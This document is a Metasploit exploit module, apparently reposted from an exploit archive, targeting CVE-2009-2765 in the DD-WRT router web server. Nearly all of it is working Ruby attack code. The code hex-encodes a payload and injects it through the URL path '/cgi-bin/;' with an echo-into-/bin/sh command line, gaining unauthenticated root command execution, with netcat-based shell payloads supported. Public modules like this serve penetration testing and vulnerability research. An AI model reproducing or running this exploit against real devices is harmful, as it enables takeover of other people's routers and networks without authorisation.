DD-WRT HTTPd Daemon/Service – Arbitrary Command Execution (Metasploit)
## # $Id: ddwrt_cgibin_exec.rb 9719 2010-07-07 17:38:59Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /DD-WRT/ ] } include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'DD-WRT HTTP Daemon Arbitrary Command Execution', 'Description' => %q{ This module abuses a metacharacter injection vulnerability in the HTTP management server of wireless gateways running DD-WRT. This flaw allows an unauthenticated attacker to execute arbitrary commands as the root user account. }, 'Author' => [ 'gat3way', 'hdm' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9719 $', 'References' => [ [ 'CVE', '2009-2765' ], [ 'OSVDB', '55990' ], [ 'BID', '35742' ], [ 'URL', 'http://www.milw0rm.com/exploits/9209' ] ], 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Privileged' => true, 'Payload' => { 'Space' => 1024, 'DisableNops' => true, 'Compat' => { 'RequiredCmd' => 'generic netcat-e' } }, 'Targets' => [ [ 'Automatic Target', { }] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jul 20 2009' )) end def exploit cmd = payload.encoded.unpack("C*").map{|c| "\\x%.2x" % c}.join # TODO: force use of echo-ne CMD encoder str = "echo${IFS}-ne${IFS}\"#{cmd}\"|/bin/sh&" print_status("Sending GET request with encoded command line...") send_request_raw({ 'uri' => "/cgi-bin/;#{str}" }) print_status("Giving the handler time to run...") handler select(nil, nil, nil, 10.0) end end |